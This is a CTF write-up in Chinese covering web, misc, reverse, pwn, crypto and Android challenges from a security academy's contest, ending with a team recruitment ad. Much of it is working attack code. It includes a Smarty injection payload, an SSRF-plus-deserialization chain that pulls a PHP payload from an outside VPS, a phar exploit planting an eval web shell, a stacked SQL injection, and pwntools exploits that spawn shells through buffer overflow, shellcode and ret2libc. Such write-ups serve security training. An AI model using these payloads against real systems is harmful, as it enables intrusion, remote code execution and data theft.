​第一届四叶草网络安全学院牛年CTF大赛部分WriteUp

2021-03-04 14:52:59 浏览数 (1)

第一届四叶草网络安全学院牛年 CTF大赛

Web

★GET

考点

  • smarty模板注入

思路

根据提示输入GET参数得到源码.发现为smarty模板注入

payload: ?name={if passthru ('nl fl*')}{/if}

★Website

考点

  • ssrf中使用302跳转进行bypass

思路

一开始尝试dict、file、gopher等协议,发现都被禁用了

但是可以访问其他主机,就想到用302跳转去bypass

在vps上开个web服务,内容如下

代码语言:javascript复制
<?php header('Location:file:///etc/passwd');

再用题目访问vps,可以看到是成功访问的

接着去读取apache的配置文件

代码语言:javascript复制
<?php header('Location:file:///etc/httpd/conf/httpd.conf');
代码语言:javascript复制
在最后面可以看到有两个web服务,监听了80和8080

分别读取源码

80: web1/index.php

代码语言:javascript复制
<?php
error_reporting(0);
function check_302($url)
{
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); // 302 redirect
    curl_exec($ch);
    $info = curl_getinfo($ch);
    curl_close($ch);
    return $info['url'];
}

if (isset($_GET['url'])) {
    $url = $_GET['url'];
    if (strpos($url, 'http://127.0.0.1/') === 0 || strpos($url, 'http://localhost/') === 0) {
        exit("<script alert('Cloversec WAF!')");
    }

    if (!preg_match('/^(http|https)://[_a-zA-Z0-9-] (.[_a-zA-Z0-9-] )*/i', $url)) {
        exit("<script>alert('Cloversec WAF!')</script>");
    }

    $url = check_302($url);
    echo $url;
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    $result = curl_exec($ch);
    curl_close($ch);

    echo "<base href="&quot; . $url . &quot;/">" . $result . "";
} else {
    echo "Hello";
}

?>

8080: web2/index.php

代码语言:javascript复制
<?php
class copy_file{
    public $path = 'upload/';
    public $file;
    public $url;
    function __destruct(){
        if(strpos($this - url,'http://127.0.0.1') === 0){
            file_put_contents($this -> path.$this -> file, file_get_contents($this -> url));
            echo $this -> path.$this -> file." update successed!)";
        }else{
            echo "Hello CTFer";
        }
    }
}

if(isset($_GET['data'])){
    $data = $_GET['data'];
    unserialize($data);
}else{
    echo "Welcome to CloverSec WebSite";
}
?>

然后就是反序列化了,在vps上写好代码

代码语言:javascript复制
<?php system("ls /");system("ls ../");system("cat ../flag_WebSite_SsRf.txt");
代码语言:javascript复制
用下面的序列化
代码语言:javascript复制
<?php
class copy_file{
    public $path='upload/';
    public $file='1.php';
    public $url='http://127.0.0.1@81.68.218.54:20003/1.txt';

}
$a = new copy_file();
echo serialize($a);

按照如下方式传参,上传代码

代码语言:javascript复制
http://example.com@127.0.0.1:8080/?data=O:9:"copy_file":3:{s:4:"path";s:7:"upload/";s:4:"file";s:5:"1.php";s:3:"url";s:41:"http://127.0.0.1@81.68.218.54:20003/1.txt";}
代码语言:javascript复制

再去访问即可看到结果

http://127.0.0.1:8080/upload/1.php

★file manager

考点

  • phar伪协议

思路

题目有四个功能,分别是文件上传,创建文件,删除文件和列举目录

经过一番尝试,发现文件上传只能上传图片,但是看到删除文件的功能,就想到unlink函数可以触发phar,并且code.html给了类

那就生成phar改一下名字,再用phar伪协议触发即可

由于文件上传的代码不允许php存在上传文件中,就用<?=绕过即可

代码语言:javascript复制
<?php
class game
{
    public $file_name="shell.php";
    public $content = "<?=eval($_POST['cmd']);?>";

}
$a = new game();

$phar = new Phar('test.phar',0,'test.phar');
$phar->startBuffering();
$phar->setStub('GIF89a<?php __HALT_COMPILER(); ?>');


$phar->setMetadata($a);
$phar->addFromString('text.txt','test');
$phar->stopBuffering();

上传后在删除文件处,删除框内填phar://./sandbox/a.png即可触发反序列化

★StAck3d 1nj3c

原题 [SUCTF 2019]EasySQL

代码语言:javascript复制
select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag
代码语言:javascript复制

★问卷调查

填完给flag

Misc

★Here are three packages!

第一个压缩包:根据提示百度后,发现与月份有关,密码应该为数字,对压缩包进行爆破,得到密码:956931011

第二个压缩包:对字频进行统计,得到key:key{bgfi9JaFHhosw}

第三个压缩包:在tip3中存在零宽度字符隐写,解密得到密码:key->Zero-Width

white.txt是snow隐写,得到flag:flag{e3e1cd2fa790e0b35795ef3b2ab3992b}

牛气冲天

伪加密cattle.jpg以及zip

steghide解,脑洞密码就是文件名

获得密码,awd@$..120LP

解压zip,获得png,改高度

★LSP们冲啊

经典crc碰撞

代码语言:javascript复制
import datetime
import binascii
import string
 
def crack(crc_in):
    crcs = set([crc_in])
    
    r = string.printable
    for a in r:
        for b in r:
            for c in r:
                txt = a b c
                crc = binascii.crc32(txt)
                if (crc & 0xFFFFFFFF) in crcs:
                    return txt


print crack(0xd878a99d)
#0x07D3F356,0xd878a99d,0x4E25A843,0x6E16E99D,0x549248B9

获得密码:Zz!9(18Hb9e#>h8 解压后png进行lsb隐写即可

Reverse

★RE1

拖入ida,在字符串窗口看到 "upx"字样,于是首先对它进行upx 脱壳

代码语言:javascript复制
upx -d re1

将得到的elf程序拖入ida

代码语言:javascript复制
__int64 __fastcall h4vefun(__int64 input_str)
{
  __int64 v1; // rax
  char v3; // [rsp 1Fh] [rbp-61h] BYREF
  char v4[32]; // [rsp 20h] [rbp-60h] BYREF
  char v5[40]; // [rsp 40h] [rbp-40h] BYREF
  unsigned __int64 v6; // [rsp 68h] [rbp-18h]


  v6 = __readfsqword(0x28u);
  std::allocator<char>::allocator(&v3);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(v4, "hj4ppy new year", &v3);
  std::allocator<char>::~allocator(&v3);
  std::allocator<char>::allocator(&v3);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(v5, "qaq", &v3);
  std::allocator<char>::~allocator(&v3);
  if ( (unsigned __int8)std::operator==<char,std::char_traits<char>,std::allocator<char>>(
                          input_str,
                          "hj4ppynewyear2021") )
  {
    std::operator<<<std::char_traits<char>>(&std::cout, "ok.this is flag");
  }
  else
  {
    v1 = std::operator<<<std::char_traits<char>>(&std::cout, &unk_40115A);
    std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
  }
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v5);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v4);
  return 0LL;
}

发现是c 程序,可以看到下面这一行关键代码,如果我们输入的字符串等于 "hj4ppynewyear2021",就成功了。它也是我们索要得到的flag

代码语言:javascript复制
if ( (unsigned __int8)std::operator==<char,std::char_traits<char>,std::allocator<char>>(
                          input_str,
                          "hj4ppynewyear2021") 

验证一下:

代码语言:javascript复制
$ ./re1 
please input your flag
hj4ppynewyear2021
ok.this is flag

★RE2

这题是exe程序,拖入ida,查看main函数

代码语言:javascript复制
int __cdecl main_0(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  int v4; // eax


  dword_42537C = 123400 * strlen(a1234567890)   31415926;
  v3 = sub_4113BB(std::cout, "plz input your key");
  std::basic_ostream<char,std::char_traits<char>>::operator<<(v3, sub_411573);
  std::basic_istream<char,std::char_traits<char>>::operator>>(std::cin, &dword_425380);
  if ( dword_425380 == dword_42537C )
    v4 = sub_4113BB(std::cout, "right");
  else
    v4 = sub_4113BB(std::cout, "wrong");
  std::basic_ostream<char,std::char_traits<char>>::operator<<(v4, sub_411573);
  return 0;
}

关键代码 :

代码语言:javascript复制
if ( dword_425380 == dword_42537C )
    v4 = sub_4113BB(std::cout, "right");

而dword_42537C在上面可以得到 是32649926

代码语言:javascript复制
代码语言:javascript复制
dword_42537C = 123400 * strlen(a1234567890)   31415926;//a1234567890:"1234567890" 
代码语言:javascript复制
所以 flag就是32649926

PWN

★PWN1

ida:

代码语言:javascript复制
int __cdecl main(int argc, const char **argv, const char **envp)
{
  const char *v4; // [esp-20h] [ebp-20h]
  __uid_t v5; // [esp-10h] [ebp-10h]
  void *v6; // [esp-8h] [ebp-8h]


  v6 = malloc(0x200u);
  bzero(v6, 4u);
  read(0, v6, 0x1F4u);
  v5 = geteuid();
  setresuid(v5, v5, v5);
  printf("shell function = %pn", shell);
  vuln((char *)v6, v4);               //存在栈溢出漏洞
  return 0;
}
--------------------------------------------------
char *__cdecl vuln(char *a1, const char *a2) 
{
  int v3; // [esp-48h] [ebp-48h]


  return strcpy((char *)&v3, a2);
代码语言:javascript复制

思路:

直接栈溢出,返回地址覆盖成 后门地址即可。

exp:

代码语言:javascript复制
代码语言:javascript复制
from pwn import * 
context.log_level='debug' 
p=process('./pwn1') 
#p=remote("129.226.4.186",10000)
elf=ELF('./pwn1') 


main_addr=0x080485AB
#gdb.attach(p)
p.sendline("a"*(0x48 0x4) p32(0x0804856D))
p.interactive()
代码语言:javascript复制
★PWN2

ida:

代码语言:javascript复制
int __cdecl main(int argc, const char **argv, const char **envp)
{
  void *buf[2]; // [rsp 0h] [rbp-10h] BYREF


  buf[1] = (void *)__readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  puts("welcome to Xian: ");
  read(0, BUF, 0x30uLL);
  puts("Dou you know the hzwz?");
  scanf("%llu", buf);
  printf("Yes you know: ");
  read(0, buf[0], 8uLL);
  puts("Finish!");
  printf("Good bye %s!n", BUF);
  return 0;
}

思路

这题开了canary保护,没有开NX保护。看第九行,我们向bss段的buf中输入0x30(这不刚好是shellcode 的长度吗,疯狂暗示。)

所以这题的就是往buf中写入一个shellcode,想办法去执行它。

怎么去执行呢?因为没有开pie保护,我们直接改printf_plt中值为buf的地址(shellcode所在的地方)即可,然后当执行到 printf("buybuy") 的时候 实际 就会跳转到 buf地址那里

exp:

代码语言:javascript复制
from pwn import * 
context(arch='amd64', os='linux', log_level = 'DEBUG')
#p=process('./pwn2') 
p=remote("129.226.4.186",10001)
elf=ELF('./pwn2') 


shellcode=asm(shellcraft.sh())
print len(shellcode)


p.recvuntil("welcome to Xian: n")
p.sendline(shellcode)

p.recvuntil("Dou you know the hzwz?n")
pd=str(0x601028)
p.sendline(pd)

#gdb.attach(p)
p.recvuntil("Yes you know: ")
bss_buf=0x601080
pd=p64(bss_buf)
p.sendline(pd)


p.interactive()

★pwn3

ida:

代码语言:javascript复制
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[16]; // [rsp 0h] [rbp-30h] BYREF
  char buf[24]; // [rsp 10h] [rbp-20h] BYREF
  _QWORD *v6; // [rsp 28h] [rbp-8h]


  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  puts("happy new year!");
  printf("plz input something: ");
  read(0, buf, 0x10uLL);
  v6 = (_QWORD *)strtoll(buf, 0LL, 16);
  printf("nsomething: %lldn", *v6);
  printf("Show me your code: ");
  read(0, v4, 0x90uLL);//栈溢出漏洞
  return 0;
}

思路

程序中有一个 strtoll函数,我们输入字符串首先转成16进制存入v6中然后在13行又进行了格式化输出。

这里我们可以用来leak libc,进而得到 system_addr,binsh_addr,因为是64位程序。

我们还需要用ropper去找一下 pop_rdi_ret的gadgets。最后利用栈溢出漏洞去getshell。

代码语言:javascript复制
代码语言:javascript复制
ropper --file ./pwn3 --search "pop|ret" | grep rdi
代码语言:javascript复制

exp:

代码语言:javascript复制
from pwn import * 
context.log_level='debug' 
p=process('./pwn3') 
p=remote("129.226.4.186",10002)
elf=ELF('./pwn3') 
libc=elf.libc#ELF("/lib/x86_64-linux-gnu/libc.so.6 ")


p.recvuntil("plz input something: ")
pd="601018"
p.sendline(pd)
p.recvuntil("something: ")
puts_addr=int(p.recv(15),10)
libc_base = puts_addr -libc.symbols['puts']
system_addr = libc_base   libc.symbols['system']
binsh_addr = libc_base  next(libc.search("/bin/sh"))


p.recvuntil("Show me your code: ")
pd="a"*0x30 p64(0xdeadbeef) p64(0x400803) p64(binsh_addr) p64(system_addr)
p.sendline(pd)


p.interactive()

Crypto

★凯撒大帝三步套娃

代码语言:javascript复制
base64 -> base32 -> hex -> 凯撒 -> md5

★抚琴的RSA

代码语言:javascript复制
#coding=utf-8
import gmpy2


p = 28805791771260259486856902729020438686670354441296247148207862836064657849735343618207098163901787287368569768472521344635567334299356760080507454640207003
q = 15991846970993213322072626901560749932686325766403404864023341810735319249066370916090640926219079368845510444031400322229147771682961132420481897362843199
e=354611102441307572056572181827925899198345350228753730931089393275463916544456626894245415096107834465778409532373187125318554614722599301791528916212839368121066035541008808261534500586023652767712271625785204280964688004680328300124849680477105302519377370092578107827116821391826210972320377614967547827619
n = p*q
c = 38230991316229399651823567590692301060044620412191737764632384680546256228451518238842965221394711848337832459443844446889468362154188214840736744657885858943810177675871991111466653158257191139605699916347308294995664530280816850482740530602254559123759121106338359220242637775919026933563326069449424391192
phi = (p -1) * (q - 1)
d= int(gmpy2.invert(e,phi))
m=pow(c,d,n)
print(m)

flag{42134526936705472951339882390913202211002951999415321980512196989}

代码语言:javascript复制

★另类RSA

RSAtools一把梭

flag{3031}

★独家加密

和安卓2的加密算法一模一样

写个解密函数改改参数就行

代码语言:javascript复制
#include <stdio.h>
#include <string.h>
int main() {
    char key[] = "2021.2.26";
    char a[] = "Q[VPLDRTwQBF^YJ";
    for (int i = 0; i < strlen(a); i  ) {
        for (int j = strlen(key); j >=0; j--) {
            a[i] = (a[i] ^ key[j]);       
        }  
        printf("%c", a[i]);
    }
  return 0;
}

★hello cpy

代码语言:javascript复制
from string import digits, ascii_letters, punctuation,whitespace 
space = digits   ascii_letters   punctuation   whitespace 
for i in range(11): 
    if ord('f') & 15 ^ i == 4 and ord('f') & 240 == 96 and ord('l') & 15 ^ i == 14 and ord('l') & 240 == 96: 
      rand = i 
      break 
flag = "" 
k = [4, 96, 14, 96, 3, 96, 5, 96, 9, 112, 4, 48, 7, 48, 3, 48, 0, 48, 0, 96, 6, 96, 6, 48, 1, 48, 6, 96, 11, 48, 1, 96, 3, 96, 3, 96, 4, 48, 7, 96, 2, 48, 0, 48, 1, 96, 11, 48, 11, 48, 2, 48, 0, 96, 2, 48, 3, 96, 10, 48, 0, 48, 4, 48, 7, 48, 0, 48, 6, 96, 1, 96, 3, 96, 15, 112] for i in range(len(k)//2): 
    for j in space: 
        if ord(j) & 15 ^ rand == k[2*i] and ord(j) & 240 == k[2*i 1]:                               
        flag  = j 
        break 
print(flag)

隐写

★在屋子上的小姐姐

binwalk解图片,得到提示:八位数字,结合图片上日期的到flag:

flag{20200606}

移动安全

★android2

jeb反编译这个apk 定位到mainActivity

找到主要逻辑

容易推断出只要将字符串^TY_C^MIQVK][E解密即可

找到DeEnCode类中的encode方法

写出解密函数即可得到flag

代码语言:javascript复制
#include <stdio.h>
#include <string.h>
int main() {
    char key[] = "2021.1.19";
    char a[] = "^TY_C^MIQVK][E";
    for (int i = 0; i < strlen(a); i  ) {
        for (int j = strlen(key); j >=0; j--) {
            a[i] = (a[i] ^ key[j]);       
        }  
        printf("%c", a[i]);
    }
  return 0;
}

flag{fuqinsec}


我们欢迎每一个对技术充满热情的同学

如果你和我们一样,想做出点成绩

这里给你无限的空间,任你翱翔

进组方式,简历投递邮箱6ixg0d@timelinesec.com

0 人点赞